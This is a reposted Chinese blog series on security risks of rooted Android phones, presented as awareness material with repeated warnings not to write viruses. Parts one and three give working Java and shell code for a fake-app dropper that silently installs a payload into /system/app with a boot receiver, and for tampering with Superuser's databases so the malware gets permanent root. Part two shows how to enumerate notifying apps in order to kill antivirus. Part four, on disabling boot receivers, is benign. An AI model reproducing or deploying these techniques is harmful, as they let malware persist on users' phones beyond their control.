閱讀405 返回首頁    go 技術社區[雲棲]


Android手機 Root 安全問題 機製

本帖轉自:

       https://su1216.iteye.com/

       https://blog.csdn.net/su1216/


前提:你有一部已經root的android手機,並且手機中有busybox和superuser

寫本博客的原因是:有無數用戶覺得root沒有什麼風險,或者風險不會降臨到自己頭上。這裏告訴大家,其實風險就在身邊!


1、Android手機Root安全風險篇章一


導讀:本文介紹一種簡單的病毒以及如何“防禦”。


這裏講的內容其實對於大多數開發者都不是什麼新鮮的事情了,使用的技術也非常一般和普遍。

雖然大家都知道可以這樣這樣,但是還是隨意下載軟件,不加小心,就會掉入陷阱。

有些人覺得,隻要我下載軟件的時候檢查軟件所申請的權限就好了,其實沒有那麼簡單。

 

我們來看看如果一個軟件,獲得了一次root權限,那麼它可以作些什麼呢?

好吧,我們先來一次“靜默安裝”!

原理很簡單,基本上相當於把apk push到手機裏麵,兩個選擇

data/app

system/app

如果我是病毒軟件,我肯定選擇push到system/app

我們需要製作兩個apk,一個是真正目的的(病毒,real.apk),另一個是假的殼子(fake.apk)

首先先製作real.apk,我們隻是用來測試,所以這個apk沒有什麼實際內容(為了節省大家時間,real.apk已經上傳)。

real.apk裏有一個receiver,用來監聽開機的廣播

Xml代碼  收藏代碼
  1. android.intent.action.BOOT_COMPLETED  

還有一個activity,沒有什麼實質內容,然後編譯出apk,待用。

 

下麵來製作殼子

新建一個android工程,將之前的real.apk複製到assets目錄下

然後新建一個activity來測試

這個殼子的很簡單,它隻負責把真實的應用安裝到用戶手機中,我們再細分一下,首先,將文件assets/real.apk提取出來,放到自己的私有目錄中,在本例子中的目錄為data/data/com.example.fake/files,這一步是不需要任何權限的

Java代碼  收藏代碼
  1. prepareButton.setOnClickListener(new View.OnClickListener() {  
  2.     public void onClick(View v) {  
  3.         File dataFolder = getFilesDir();  
  4.                 File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");  
  5.                 copyFile("real.apk", jar, mResources);  
  6.     }  
  7. });  

其中copFile函數見附件(就是一個簡單的io讀寫操作),這裏隻給出偽代碼

Java代碼  收藏代碼
  1. InputStream myInput = null;  
  2. try  
  3.     myInput = resources.getAssets().open(filePath);  
  4.     ……  
  5. catch  
  6. ……  
  7. finally  
  8. ……  

第一步已經完成了,下一步請求root權限,然後將real.apk惡意安裝給用戶。

這裏需要使用到busybox,命令如下

Shell代碼  收藏代碼
  1. busybox mount -o remount,rw /system  
  2. busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk  
  3. busybox rm /data/data/com.example.fake/files/real.apk  

之所以使用busybox,是因為手機裏麵可能沒有mount、cp、rm等命令(我的手機裏麵就沒有)

當然superuser需要同意你使用root權限

至此,你的入侵行為已經全部完成!

Java代碼  收藏代碼
  1. installButton.setOnClickListener(new View.OnClickListener() {  
  2.         public void onClick(View v) {  
  3.             String packageName = getPackageName();  
  4.             String[] commands = {"busybox mount -o remount,rw /system",  
  5.                                  "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",  
  6.                                  "busybox rm /data/data/" + packageName + "/files/real.apk"};  
  7.             Process process = null;  
  8.             DataOutputStream dataOutputStream = null;  
  9.   
  10.             try {  
  11.                 process = Runtime.getRuntime().exec("su");  
  12.                 dataOutputStream = new DataOutputStream(process.getOutputStream());  
  13.                 int length = commands.length;  
  14.                 for (int i = 0; i < length; i++) {  
  15.                     Log.e(TAG, "commands[" + i + "]:" + commands[i]);  
  16.                     dataOutputStream.writeBytes(commands[i] + "\n");  
  17.                 }  
  18.                 dataOutputStream.writeBytes("exit\n");  
  19.                 dataOutputStream.flush();  
  20.                 process.waitFor();  
  21.             } catch (Exception e) {  
  22.                 Log.e(TAG, "copy fail", e);  
  23.             } finally {  
  24.                 try {  
  25.                     if (dataOutputStream != null) {  
  26.                         dataOutputStream.close();  
  27.                     }  
  28.                     process.destroy();  
  29.                 } catch (Exception e) {  
  30.                 }  
  31.             }  
  32.         }  
  33.     });  
  34. }  

重啟手機之後,real.apk就能工作了,它會接收到開機廣播

如果你嵌入了更惡劣的代碼,比如偷發短信,竊取郵件,那麼用戶也是很難察覺的

real.apk在settings中會顯示在係統應用中,用戶不太會懷疑,即使懷疑了,他們也不敢輕易卸載!誰讓他們自己隨意刷rom呢,每個rom集成的軟件都不一樣。

 

如何防禦?!

我不知道如何防禦,最簡單的辦法就是,解壓你來路不明的apk文件,看看assets文件下有沒有什麼可疑文件。當然,病毒可能會去掉或者修改文件名的後綴!

我手機中安裝了卡巴斯基免費版,很可惜,它沒有查出病毒(即使你的real.apk嵌入更惡意的代碼)

大家可以試試其他殺毒軟件,比如……希望大家能給個反饋結果


 

2、Android手機Root安全風險篇章二


導讀:本文介紹殺毒軟件和病毒是如何獲取通知欄上的所有通知,並且利用其信息殺死應用。

 

上一篇將過如何利用root權限來做一次靜默安裝,有的人會說,安裝apk就安裝唄,反正哥有金山手機衛士,哥有360主動防禦……他們都會彈出通知告訴我的!

安裝了新的應用,手機會發送廣播,這些所謂的殺毒軟件監聽這些廣播,然後彈出通知

好吧,我承認,他們在一定意義上還是有點用處的,我們先把這個問題放一放,先來說兩句題外話

 

360和和金山手機衛士都有一個讓廣大android開發者比較蛋疼的一個功能:那就是檢查廣告通知!

當有通知欄有廣告的時候,運行360執行檢查,它會告訴你是哪個應用程序的廣告(當然,這裏並不局限於廣告,他們是獲得所有通知,然後過濾),然後他會讓用戶選擇:不處理;關閉通知(實際上是把這個進程kill掉,整個軟件停止運行);卸載此軟件。

 

雖然我沒有發布過android應用,但是我知道,靠軟件賺錢的各位,本來收入已經夠尷尬的了,再加上這些操蛋的軟件提供這些操蛋的功能……哎

大家不喜歡收費軟件那咱們就免費,點點廣告支持一下總行吧,就是不點,你就放在那唄(當然,有的軟件發起廣告來沒玩沒了也挺操蛋)

 

說了這麼多廢話,我們就來看看那些所謂的殺毒軟件是如何對付大家的

到了關鍵的地方,實際也就那麼一行代碼……又讓大家失望了。。。

Shell代碼  收藏代碼
  1. adb shell dumpsys notification  

比如,我現在在我機器上麵執行一下,輸出的結果為

Log代碼  收藏代碼
  1. Current Notification Manager state:  
  2.   Notification List:  
  3.     NotificationRecord{41453c70 pkg=com.zdworks.android.toolbox id=7f090092 tag=null pri=0}  
  4.       icon=0x0 / <name unknown>  
  5.       contentIntent=null  
  6.       deleteIntent=null  
  7.       tickerText=null  
  8.       contentView=null  
  9.       defaults=0x0  
  10.       flags=0x62  
  11.       sound=null  
  12.       vibrate=null  
  13.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
  14.     NotificationRecord{415f48e8 pkg=com.zdworks.android.toolbox id=7f090080 tag=null pri=100}  
  15.       icon=0x7f0200fd / com.zdworks.android.toolbox:drawable/barttery_notify_icon  
  16.       contentIntent=PendingIntent{41949028: PendingIntentRecord{412e3c20 com.zdworks.android.toolbox startActivity}}  
  17.       deleteIntent=null  
  18.       tickerText=電量提示  
  19.       contentView=android.widget.RemoteViews@416e7b90  
  20.       defaults=0x0  
  21.       flags=0x22  
  22.       sound=null  
  23.       vibrate=null  
  24.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
  25.     NotificationRecord{416db3e0 pkg=android id=1040414 tag=null pri=100}  
  26.       icon=0x10804f5 / android:drawable/stat_sys_adb  
  27.       contentIntent=PendingIntent{41275de8: PendingIntentRecord{416dade8 android startActivity}}  
  28.       deleteIntent=null  
  29.       tickerText=USB 調試已連接  
  30.       contentView=android.widget.RemoteViews@416daf40  
  31.       defaults=0x0  
  32.       flags=0x2  
  33.       sound=null  
  34.       vibrate=null  
  35.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
  36.     NotificationRecord{41790de8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}  
  37.       icon=0x7f020010 / com.htc.android.psclient:drawable/usb_to_pc_notify  
  38.       contentIntent=PendingIntent{416c3e38: PendingIntentRecord{417bc968 com.htc.android.psclient startActivity}}  
  39.       deleteIntent=null  
  40.       tickerText=null  
  41.       contentView=android.widget.RemoteViews@4169d128  
  42.       defaults=0x0  
  43.       flags=0x2  
  44.       sound=null  
  45.       vibrate=null  
  46.       ledARGB=0x0 ledOnMS=0 ledOffMS=0  
  47.     
  48.   mSoundNotification=null  
  49.   mSound=com.android.server.NotificationPlayer@413e73b8  
  50.   mVibrateNotification=null  
  51.   mDisabledNotifications=0x0  
  52.   mSystemReady=true  

現在大家知道了吧,這麼簡單就把咱們給搞定了

下麵的事情就簡單

1.想辦法獲取這段log

2.提取包名

3.根據數據庫中的黑名單白名單不同處理

4.你的應用很可能在黑名單中,最後的結果也基本是進程被殺死

(這裏就不演示3、4部分了,隻演示1、2)

 

Java代碼  收藏代碼
  1. testButton = (Button)findViewById(R.id.exec);  
  2. testButton.setOnClickListener(new View.OnClickListener() {  
  3.     public void onClick(View v) {  
  4.         String[] commands = {"dumpsys notification"};  
  5.         Process process = null;  
  6.         DataOutputStream dataOutputStream = null;  
  7.   
  8.         try {  
  9.             process = Runtime.getRuntime().exec("su");  
  10.             dataOutputStream = new DataOutputStream(process.getOutputStream());  
  11.             int length = commands.length;  
  12.             for (int i = 0; i < length; i++) {  
  13.                 Log.e(TAG, "commands[" + i + "]:" + commands[i]);  
  14.                 dataOutputStream.writeBytes(commands[i] + "\n");  
  15.             }  
  16.             dataOutputStream.writeBytes("exit\n");  
  17.             dataOutputStream.flush();  
  18.               
  19.             process.waitFor();  
  20.               
  21.             BufferedReader reader = null;  
  22.             reader = new BufferedReader(new InputStreamReader(process.getInputStream()));    
  23.             String line = "";  
  24.             List<String> lineList = new ArrayList<String>();  
  25.             final StringBuilder log = new StringBuilder();    
  26.             String separator = System.getProperty("line.separator");  
  27.             Pattern pattern = Pattern.compile("pkg=[^\\s]+");  
  28.             while ((line = reader.readLine()) != null) {  
  29.                 if(line != null && line.trim().startsWith("NotificationRecord")){  
  30.                     Matcher matcher = pattern.matcher(line);  
  31.                     if(matcher.find()){  
  32.                         lineList.add(matcher.group());  
  33.                     }else{  
  34.                         Log.e(TAG, "what's this?!");  
  35.                     }  
  36.                 }  
  37.                   
  38.                 log.append(line);  
  39.                 log.append(separator);  
  40.             }  
  41.             Log.v(TAG, "log:" + log.toString());  
  42.               
  43.             int size = lineList.size();  
  44.             for (int i = 0; i < size; i++) {  
  45.                 Log.i(TAG, "app:" + lineList.get(i));  
  46.             }  
  47.         } catch (Exception e) {  
  48.             Log.e(TAG, "copy fail", e);  
  49.         } finally {  
  50.             try {  
  51.                 if (dataOutputStream != null) {  
  52.                     dataOutputStream.close();  
  53.                 }  
  54.                 process.destroy();  
  55.             } catch (Exception e) {  
  56.             }  
  57.         }  
  58.         Log.v(TAG, "finish");  
  59.         }  
  60.     });  
  61. }  

上麵的這段代碼實在沒什麼技術含量,讓給位網友見笑了

按順序簡單解釋一下

首先,我們先執行dumpsys notification這條命令,這在上一期的代碼中已經有了

然後通過process.getInputStream()獲得其輸出按行讀取,這裏隻關心類似於下麵這種的log

Log代碼  收藏代碼
  1. NotificationRecord{40dacad8 pkg=com.htc.android.psclient id=7f020010 tag=null pri=100}  

然後從中提取出包名即可

其中的正則就是為了提取包名用的,想了解正則的同學可以看我的正則教程

深入入門正則表達式(java)

 

這裏我執行的結果為(看來有一個應用提示了兩個通知)

Java代碼  收藏代碼
  1. app:pkg=com.zdworks.android.toolbox  
  2. app:pkg=com.zdworks.android.toolbox  
  3. app:pkg=android  
  4. app:pkg=com.htc.android.psclient   

之後的工作就是把這個list展示給用戶,讓用戶去選擇了

既然360可以這樣,病毒為什麼不可以呢?病毒Fake.apk可以在半夜偷偷安裝應用Real.apk,幾秒鍾後,Fake.apk執行上麵的這些操作,獲取360,然後kill!爽!

大家有興趣可以反編譯一下金山和360,他們基本就是這麼幹的,我發現360比較壞,至於為什麼這麼說,大家自己去發現吧

 

 

ps:我使用的是卡巴斯基免費版,殺毒軟件是不會去管有沒有廣告推送的,廣告不是病毒,殺毒軟件也不應該幹一些不該幹的事!

 

 

請大家不要用root的手機隨意下載軟件,更不要以任何借口製造任何病毒!



3、Android手機Root安全風險篇章三


導讀:本文介紹病毒如何篡改superuser,使得用戶隻是允許病毒請求的一次root權限變成允許病毒永久使用root權限。

 

 

繼續之前兩篇文章寫,如果路過的同學有疑問,請先看前兩篇

有同學說,你的Fake.apk需要把應用copy到system下才行,這是需要root權限的。如果用戶允許了你一次root請求,你當著用戶的麵copy,那麼copy之後,係統會發送廣播,告知有新的apk被安裝,殺毒軟件就會發現你。

是的,這確實是個問題,但是病毒就是病毒,總會想辦法讓你病倒的,別急。

 

superuser把數據記錄到數據庫中,那病毒為什麼不去修改你的數據庫呢?如果修改成功,那麼豈不是永久獲得了root權限,以後再也用不著你來批準我了,我自己批準!

 

很不幸,病毒如果獲得了一次root權限,那麼上麵所說的事情是完全可以做到的。

我們來演示一下,我手機中裝有superuser,版本為3.0.7

我還裝了一個re管理器

 

首先,我們打開re管理器,這時候re管理器請求使用root權限,superuser會彈出提示,詢問用戶是否允許

我們點擊允許之前,勾選“記住”,然後允許。

這一步是為了獲取:應用獲得永久root權限時,應該在superuser數據庫插入什麼樣的數據。

 

然後我們將數據庫導出

/data/data/com.noshufou.android.su/databases下麵有兩個數據庫我們需要關注

su.db

permissions.sqlite

我們以permissions.sqlite為例,下圖為表結構:

 

然後來看看病毒應該如何修改數據

病毒隻需要關心幾個字段

uid,包名,應用名,exec_uid=0,exec_cmd=/system/bin/sh,allow=1

病毒如何獲得自己的包名和應用名,這個大家沒什麼疑問吧

ActivityManager.RunningAppProcessInfo中含有uid的信息

下麵的代碼可以獲得當前應用的uid

Java代碼  收藏代碼
  1. public static int getUid(Context context,String packageName){  
  2.     ActivityManager activityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);  
  3.     List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = activityManager.getRunningAppProcesses();  
  4.     int size = runningAppProcesses.size();  
  5.     ActivityManager.RunningAppProcessInfo runningAppProcessInfo = null;  
  6.     for (int i = 0; i < size; i++) {  
  7.         runningAppProcessInfo = runningAppProcesses.get(i);  
  8.         if(packageName.equals(runningAppProcessInfo.processName)){  
  9.             return runningAppProcessInfo.uid;  
  10.         }  
  11.     }  
  12.     return -1;  
  13. }  

好了,這個表已經搞定了,su.db和這個幾乎一樣,也就不再演示了。

 

最後的問題是,如何修改手機中的數據庫,顯然,我們使用sqlite3,但是有的手機居然沒有這個問題,所以病毒很可能自己捆綁了一個,然後複製到system/bin或者system/xbin中

sqlite3從哪來?哪都有。。比如你可以從模擬器pull出來一份。

 

好了,全部搞定了

最終我們分兩步

1準備sqlite3這個文件,以防萬一

Java代碼  收藏代碼
  1. prepareButton.setOnClickListener(new View.OnClickListener() {  
  2.     public void onClick(View v) {  
  3.         File dataFolder = getFilesDir();  
  4.     File sqlite = new File(dataFolder.getAbsolutePath() + "/sqlite3");  
  5.     copyFile("db/sqlite3", sqlite, mResources);  
  6.     }  
  7. });  

2申請root權限,一旦成功,那就修改數據庫

Java代碼  收藏代碼
  1. String sqlUpdateSu = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow,dirty)" +  
  2.                             "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",0,\"/system/bin/sh\",1,0) ";  
  3. String sqlInsertPermissions = "insert into apps (uid,package,name,exec_uid,exec_cmd,allow) " +  
  4.                                                     "values (\""+ uid + "\",\"" + packageName + "\",\"" + name + "\",\"0\",\"/system/bin/sh\",\"1\") ";  
  5.   
  6. String[] commands = {"busybox mount -o remount,rw /system"  
  7.                             ,"ls /system/bin/sqlite3 || ls /system/xbin/sqlite3 || busybox cp /data/data/" + packageName + "/files/sqlite3 /system/xbin/sqlite3 && chmod 777 /system/xbin/sqlite3"  
  8.                     ,"busybox rm /data/data/" + packageName + "/files/sqlite3"  
  9.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/su.db '" + sqlUpdateSu + "'"  
  10.                     ,"sqlite3 /data/data/com.noshufou.android.su/databases/permissions.sqlite '" + sqlInsertPermissions + "' "};  

執行即可

 

從此,病毒就脫離你的掌控了,一發不可收拾

 

 

結語

由於本博客隻是用於演示,所以有些不嚴密的地方。

比如:首次使用superuser之前,它的數據庫的表可能還沒有創建,所以有些sql操作可能會失敗

我也不打算寫個完整的病毒,這樣一些人就會想著幹一些不幹淨的事情。僅供學習交流

 

看來大家每次批準root之後,還要去superuser中的列表看看有沒有什麼異常才行

 

請大家不要用root的手機隨意下載軟件,更不要以任何借口製造任何病毒!



4、Android手機Root安全風險篇章四


導讀: 本文介紹了如何實現禁止開機啟動以及如何使應用失效。

希望大家不要製造各種流氓軟件或病毒

 

這一期我們來關注以下某些優化軟件的開機優化功能

禁止開機啟動和禁止

 

很多軟件都有開機優化功能,比如360,金山,海卓……

我覺得海卓頁麵還不錯,所以就截一張海卓的圖片吧

點擊右邊的小旗,會有一些選項,這裏隻說兩個

開機啟動

程序狀態

 

在android 4.1(jelly bean)版本中,settings中查看應用信息的地方有一個disable按鈕,

disable掉這個應用之後,在launcher列表中是查詢不到的,也就是說,你無法啟動這個應用了,也合理,但是如果你想enable就有些麻煩了。你得在settings中的應用列表中找到這個應用(一般出廠的手機,都有幾十個應用,再加上自己安裝的,應用數量很容易就100+了),然後再enable,這時候,launcher中就能再次看到這個應用了

(ps:還可以控製是否顯示通知,這個功能估計大家都喜歡)

 

但是4.0及其之前的版本是沒有disable這個功能的,但是如果root了手機,那麼我們是可以實現這個功能的。

首選我們先看看手機中應用哪些是enabled的

Shell代碼  收藏代碼
  1. $ pm list package -e  
  2. package:android  
  3. package:cn.buding.coupon  
  4. package:cn.buding.moviecoupon  
  5. package:cn.chinabus.main  
  6. package:cn.chinabus.metro.main  
  7. package:cn.com.fetion  
  8. ……  

我看了一下我的手機,居然有249個enabled的程序,汗!

Shell代碼  收藏代碼
  1. $ pm list package -e | busybox wc -l                           
  2. 249  

查看disabled的應用改下選項就可以了

Java代碼  收藏代碼
  1. $ pm list package -d  

我們先來看看pm都能做些什麼

Java代碼  收藏代碼
  1. pm list packages: prints all packages, optionally only  
  2.   those whose package name contains the text in FILTER.  Options:  
  3.     -f: see their associated file.  
  4.     -d: filter to only show disbled packages.  
  5.     -e: filter to only show enabled packages.  
  6.     -s: filter to only show system packages.  
  7.     -3: filter to only show third party packages.  
  8.     -u: also include uninstalled packages.  
  9.   
  10.   
  11. pm enable, disable, disable-user: these commands change the enabled state  
  12.   of a given package or component (written as "package/class").  

這裏隻截取了一部分,詳情請自行查看pm幫助

 

大家可以拿一個無關緊要的程序試試,disable再enable,看看launcher有什麼變化(需要root權限,之前的查詢是不需要root權限的) ,比如:

Java代碼  收藏代碼
  1. pm disable cn.eoe.wiki  
  2. pm enable cn.eoe.wiki  

注:切換到root用戶時,執行pm可能會出現段錯誤(android 4.0+)

 

Shell代碼  收藏代碼
  1. shell@android:/ # pm  
  2. [1] + Stopped (signal)     pm   
  3. shell@android:/ # pm                                                             
  4. [2] + Stopped (signal)     pm   
  5. [1] - Segmentation fault   pm   

 

我們在執行pm之前,export一下LD_LIBRARY_PATH即可

 

Shell代碼  收藏代碼
  1. export LD_LIBRARY_PATH=/vendor/lib:/system/lib  

 

我們可以查看一下這個變量

 

Java代碼  收藏代碼
  1. echo $LD_LIBRARY_PATH  

在我機器上麵,普通用戶是設置了這個變量的,切換到root的時候,這個變量就空了,所以需要重新export一下

 

 

第一個功能程序狀態 講解就結束了。

 

其實大多數人關心的是第二個功能開機啟動 問題

首選,我們需要明確的是:我們需要知道哪些應用具有開機啟動功能。

其實精確到應用還不可以,因為我們不是要把應用禁止掉,而是要把接收開機啟動的Intent的receiver禁止掉,所以我們需要精確到class

首先我們來看看接收BOOT_COMPLETED的receiver在manifest中如何注冊的

Xml代碼  收藏代碼
  1. <receiver android:name=".BootReceiver" android:enabled="true">  
  2.     <intent-filter>      
  3.         <action android:name="android.intent.action.BOOT_COMPLETED"/>   
  4.     </intent-filter>  
  5. </receiver>  

這裏有一點是需要特別注意的: android:enabled="true"

enabled這個屬性,大多數情況下我們是不顯式寫在這裏的,當然,默認值就為true

禁止開機啟動,其實就是設置接收BOOT_COMPLETED的receiver狀態為disabled,即android:enabled="false"

首先要解決的就是如何獲得所有接收BOOT_COMPLETED的receiver

開始我也搜索了一下,發現網上的很多方法都不可用,這裏給大家說明一下:

錯誤方法1

 

Java代碼  收藏代碼
  1. Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);  
  2. List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_RESOLVED_FILTER);  

這裏返回的list都是enabled的receiver

 

錯誤方法2

Java代碼  收藏代碼
  1. List<ApplicationInfo> allAppsList = mPackageManager.getInstalledApplications(0);  
  2. int allAppsListSize = allAppsList.size();  
  3. for (int i = 0; i < allAppsListSize; i++) {  
  4.     ApplicationInfo applicationInfo = allAppsList.get(i);  
  5.     PackageInfo packageInfo = mPackageManager.getPackageInfo(applicationInfo.packageName, PackageManager.GET_RECEIVERS);  
  6.     ActivityInfo[] receivers = packageInfo.receivers;  
  7.     if(receivers != null) {  
  8.             ……  
  9.     }  
  10. }  

這裏獲得的也都是enable的

 

錯誤方法3

有的人使用下麵代碼片斷

 

Java代碼  收藏代碼
  1. if (PackageManager.PERMISSION_GRANTED == mPackageManager.checkPermission("android.permission.RECEIVE_BOOT_COMPLETED", app.packageName))  

檢查package幹什麼?!

 

其實android原生給我們提供了如何獲得所有component的api(enabled+disabled)

int android.content.pm.PackageManager.GET_DISABLED_COMPONENTS = 512 [0x200]

PackageInfo flag: include disabled components in the returned info.

 

這樣,我們使用如下代碼就可以了

Java代碼  收藏代碼
  1. Intent intent = new Intent(Intent.ACTION_BOOT_COMPLETED);  
  2. List<ResolveInfo> resolveInfoList = mPackageManager.queryBroadcastReceivers(intent, PackageManager.GET_DISABLED_COMPONENTS);  

然後我們需要知道組件的狀態,disabled還是enabled

Java代碼  收藏代碼
  1. ComponentName mComponentName = new ComponentName(resolveInfo.activityInfo.packageName, resolveInfo.activityInfo.name);  
  2. Log.d(TAG, "COMPONENT_ENABLED_STATE:" + mPackageManager.getComponentEnabledSetting(mComponentName) + "\tpackageName:" + resolveInfo.activityInfo.packageName);  

接下來的事情就簡單了,如果你想禁止包名為package的應用開機啟動,那麼隻需在上麵list中,找到所有此包下的receiver,然後

Shell代碼  收藏代碼
  1. pm disable package/class  
  2. pm enable package/class  

即可

 

我們需要關注下麵幾個COMPONENT_ENABLED_STATE

 

 寫道
public static final int COMPONENT_ENABLED_STATE_DEFAULT

Since: API Level 1
Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application is in its default enabled state (as specified in its manifest).

Constant Value: 0 (0x00000000)
public static final int COMPONENT_ENABLED_STATE_DISABLED

Since: API Level 1
Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application has been explicitly disabled, regardless of what it has specified in its manifest.

Constant Value: 2 (0x00000002)
public static final int COMPONENT_ENABLED_STATE_DISABLED_USER

Since: API Level 14
Flag for setApplicationEnabledSetting(String, int, int) only: The user has explicitly disabled the application, regardless of what it has specified in its manifest. Because this is due to the user's request, they may re-enable it if desired through the appropriate system UI. This option currently can not be used with setComponentEnabledSetting(ComponentName, int, int).

Constant Value: 3 (0x00000003)
public static final int COMPONENT_ENABLED_STATE_ENABLED

Since: API Level 1
Flag for setApplicationEnabledSetting(String, int, int) and setComponentEnabledSetting(ComponentName, int, int): This component or application has been explictily enabled, regardless of what it has specified in its manifest.

Constant Value: 1 (0x00000001)
public static final int DONT_KILL_APP

Since: API Level 1
Flag parameter for setComponentEnabledSetting(android.content.ComponentName, int, int) to indicate that you don't want to kill the app containing the component. Be careful when you set this since changing component states can make the containing application's behavior unpredictable.

Constant Value: 1 (0x00000001)

 

 

如果是自己應用中想disable或者enable自己的組件,那麼是不需要任何權限的,當然不能使用pm命令

在原生email(4.0)應用中,舊有此功能,我們來看看email的代碼

void com.android.email.service.EmailBroadcastProcessorService.setComponentEnabled(Class<?> clazz, boolean enabled)

Java代碼  收藏代碼
  1. private void setComponentEnabled(Class<?> clazz, boolean enabled) {  
  2.     final ComponentName c = new ComponentName(this, clazz.getName());  
  3.     getPackageManager().setComponentEnabledSetting(c,  
  4.             enabled ? PackageManager.COMPONENT_ENABLED_STATE_ENABLED  
  5.                     : PackageManager.COMPONENT_ENABLED_STATE_DISABLED,  
  6.             PackageManager.DONT_KILL_APP);  
  7. }  

 

void com.android.email.Email.setServicesEnabled(Context context, boolean enabled)方法中也有參考代碼

 

至此,開機啟動、禁用程序 就全部講解完了。

我們發現,海卓這個應用居然有這麼多變態功能,居然可以禁止所有事件。。。這是不是過分了點,不過程序的原理應該都在我這篇博客之中了,我不太希望有禁止所有事件這種功能,那還不如把這個app刪掉呢,何必折磨它呢?!

 

請大家不要用root的手機隨意下載軟件,更不要以任何借口製造任何病毒!


最後更新:2017-04-03 14:53:38

  上一篇:go poj 3094 Quicksum
  下一篇:go 進程中調用CreateMutex